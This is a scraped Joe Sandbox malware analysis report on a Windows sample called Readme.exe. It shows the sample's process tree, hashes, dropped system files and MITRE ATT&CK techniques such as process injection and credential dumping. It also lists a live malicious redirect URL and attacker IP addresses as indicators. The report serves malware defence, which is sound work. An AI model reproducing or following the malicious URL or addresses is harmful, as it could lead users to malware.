	https://track.techrepublic.com/?xtl=qosc6e0r33m7rzh2dl246vqaz5uc90nw2ne90005cu1snk8zg1y3vp9knzbtn0ypf5aonm0k6r9jquc207c6aapbm&eih=i3yfivlbvjsly8emik94zuvtkpfth0qlgteeidgouxfi2jjehgla3t0xm8&originalclickurl=http://U76Ttdag.UO66F0fw.fuoficios.com.ar/ySiLUdtG/aHR0cHM6Ly9ncmV5Y29tcGxjZS5jb20vZmlsZS9ISlJSLUROVTQtNEJOMy82NzkvdXNlci9iaWxsYUBtaWRvcmVnb24uY29t	Get hash	malicious	Browse	190.211.254.196
	file.exe	Get hash	malicious	Browse	179.43.163.115
	file.exe	Get hash	malicious	Browse	179.43.163.115
	file.exe	Get hash	malicious	Browse	179.43.163.115
	file.exe	Get hash	malicious	Browse	179.43.163.115
	file.exe	Get hash	malicious	Browse	179.43.163.115
	file.exe	Get hash	malicious	Browse	179.43.163.115
	file.exe	Get hash	malicious	Browse	179.43.163.115
	file.exe	Get hash	malicious	Browse	179.43.163.115

Target ID:	0
Start time:	12:19:24
Start date:	31/10/2022
Path:	C:\Users\user\Desktop\Readme.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Readme.exe
Imagebase:	0x400000
File size:	45088 bytes
MD5 hash:	524F7A2E27D9D2ADCC83D8836F1A37AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	2
Start time:	12:19:26
Start date:	31/10/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	45088 bytes
MD5 hash:	6F579EC4EA6BEBA7521B137235827184
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	3
Start time:	12:19:27
Start date:	31/10/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	45088 bytes
MD5 hash:	6F579EC4EA6BEBA7521B137235827184
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	5
Start time:	12:19:28
Start date:	31/10/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	45088 bytes
MD5 hash:	6F579EC4EA6BEBA7521B137235827184
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	7
Start time:	12:19:29
Start date:	31/10/2022
Path:	C:\Windows\SysWOW64\smnss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\smnss.exe
Imagebase:	0x400000
File size:	45088 bytes
MD5 hash:	6F579EC4EA6BEBA7521B137235827184
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	15
Start time:	12:21:15
Start date:	31/10/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5492 -s 2960
Imagebase:	0xff0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Readme.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_smnss.exe_8f6ecf3e6fcf8bffa370ddc9fbddaaa68dbd754e_e99d7581_13931629\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA42.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE2B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF26.tmp.xml

C:\Windows\SysWOW64\ctfmen.exe

C:\Windows\SysWOW64\grcopy.dll

C:\Windows\SysWOW64\grcopy.dll:Zone.Identifier

C:\Windows\SysWOW64\satornas.dll

C:\Windows\SysWOW64\shervans.dll

C:\Windows\SysWOW64\smnss.exe

C:\Windows\SysWOW64\smnss.exe:Zone.Identifier

C:\Windows\SysWOW64\zipfi.dll

C:\Windows\SysWOW64\zipfiaq.dll

Static File Info

General

File Icon

Windows Analysis Report
Readme.exe

Function 10002020 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 111
networkCOMMON

Function 00401150 Relevance: 13.6, APIs: 9, Instructions: 71
COMMON

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre